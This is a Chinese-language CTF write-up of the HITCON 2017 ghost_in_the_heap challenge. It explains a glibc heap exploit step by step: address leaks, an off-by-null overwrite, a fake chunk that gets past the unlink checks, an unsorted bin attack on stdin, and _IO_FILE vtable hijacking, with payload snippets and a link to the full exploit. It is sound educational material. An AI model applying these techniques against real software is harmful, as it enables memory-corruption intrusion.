Pwn with File结构体(三)
字数 1519 2025-08-25 22:58:56
Pwn with File结构体(三) - 堆利用高级技巧详解
前言
本文基于HITCON 2017的ghost_in_the_heap题目,深入分析File结构体的攻击方式以及堆利用的高级技巧。主要内容包括:
- 通过堆布局和off-by-null漏洞进行堆利用
- 信息泄露绕过ASLR获取heap和libc地址
- 利用File结构体进行攻击的高级技巧
- 深入理解ptmalloc内存分配机制
题目分析
保护机制
- 全保护开启(ASLR, NX, Canary等)
功能分析
-
new_heap
- 最多分配3个0xb0大小的chunk(实际malloc(0xA8))
- 输入0xa8个字符,末尾自动添加\x00(导致off-by-one漏洞)
-
delete_heap
- 释放指定heap
-
add_ghost
- 最多分配1个0x60大小的chunk(malloc(0x50))
- 使用read获取输入,末尾不添加\x00(可用于泄露信息)
-
watch_ghost
- 使用printf打印ghost内容
-
remove_ghost
- 释放ghost指针
关键点
- heap分配存在off-by-one漏洞(可修改下一chunk的size位)
- ghost分配没有末尾\x00,配合watch_ghost可泄露数据
- malloc(0xa8)实际分配0xb0字节(8字节由下一chunk的pre_size提供)
信息泄露绕过ASLR
泄露libc地址
-
初始布局
add_ghost(12345, "ssssssss") new_heap("b") # heap 0 new_heap("b") # heap 1 new_heap("b") # heap 2 remove_ghost() del_heap(0) del_heap(2) # 触发malloc consolidate -
原理
- 释放heap2时与top chunk合并,size > 0x10000,触发malloc_consolidate
- 清理fastbin并与unsorted bin合并形成大的unsorted bin
-
获取libc地址
new_heap("b") # heap 0, 切割unsorted bin add_ghost(12345, "ssssssss") # 填满fd的8字节 # watch_ghost会打印main_arena地址
泄露heap地址
-
构造两个unsorted bin
new_heap("b") # heap 2 remove_ghost() del_heap(0) del_heap(2) # malloc consolidate new_heap("b") # heap 0 new_heap("b") # heap 2 del_heap(1) new_heap("b") # heap 1 del_heap(0) -
原理
- 构造两个unsorted bin,通过双向链表链接
- add_ghost时获取下方unsorted bin,其bk指向上方unsorted bin
Off-by-one漏洞利用
初始布局
remove_ghost()
del_heap(1)
del_heap(2)
add_ghost(12345, "ssssssss")
new_heap("b") # heap 0
new_heap("b") # heap 1
new_heap("b") # heap 2
创建大unsorted bin
remove_ghost()
del_heap(0)
del_heap(2)
new_heap("s")
new_heap("s")
del_heap(0)
del_heap(1)
触发off-by-null
new_heap("a"*0xa8) # 覆盖下一chunk size为0x100
伪造free chunk绕过unlink检查
add_ghost(12345, p64(heap + 0xb0)*2)
new_heap(p64(0)*8 + p64(0) + p64(0x111) + p64(heap) + p64(heap)) # 0
new_heap("s") # 防止与top chunk合并
del_heap(2) # 获得0x1c0的unsorted bin
构造交叉unsorted bin
del_heap(0)
new_heap("s") # 0
new_heap("s") # 2
del_heap(0)
del_heap(2)
Unsorted Bin Attack
攻击目标选择
- 修改global_max_fast(条件不满足)
- house_of_orange(新版libc有校验)
- 修改stdin->_IO_base_end(可行)
实施攻击
# 修改unsorted bin
new_heap(p64(0)*8 + p64(0) + p64(0xb1) + p64(0) + p64(buf_end-0x10))
# 触发unsorted bin攻击
new_heap(("\x00"*5 + p64(lock) + p64(0)*9 + p64(vtable)).ljust(0x1ad,"\x00")+ p64(magic))
触发执行
del_heap(2) # 触发malloc_printerr -> malloc
关键点总结
-
信息泄露
- 利用fastbin和unsorted bin的特性泄露地址
- 精心布局使特定bin中包含可泄露的指针
-
Off-by-one利用
- 覆盖size位创建内存空洞
- 伪造free chunk绕过unlink检查
- 构造交叉的unsorted bin
-
Unsorted Bin Attack
- 修改_IO_base_end控制输入缓冲区
- 通过scanf输入覆盖malloc_hook
-
File结构体利用
- 修改_IO_FILE结构体的vtable
- 控制输入缓冲区指针实现任意写
参考代码
完整exp可在以下链接获取:
https://gitee.com/hac425/blog_data/tree/master/pwn_file
总结
这道题目展示了堆利用的高级技巧:
- 通过精心堆布局实现信息泄露
- 利用off-by-null漏洞构造特殊内存布局
- 结合unsorted bin攻击和File结构体实现最终利用
- 深入理解ptmalloc分配机制在实际漏洞利用中的应用
这些技术对于现代CTF比赛和实际漏洞利用都具有重要参考价值。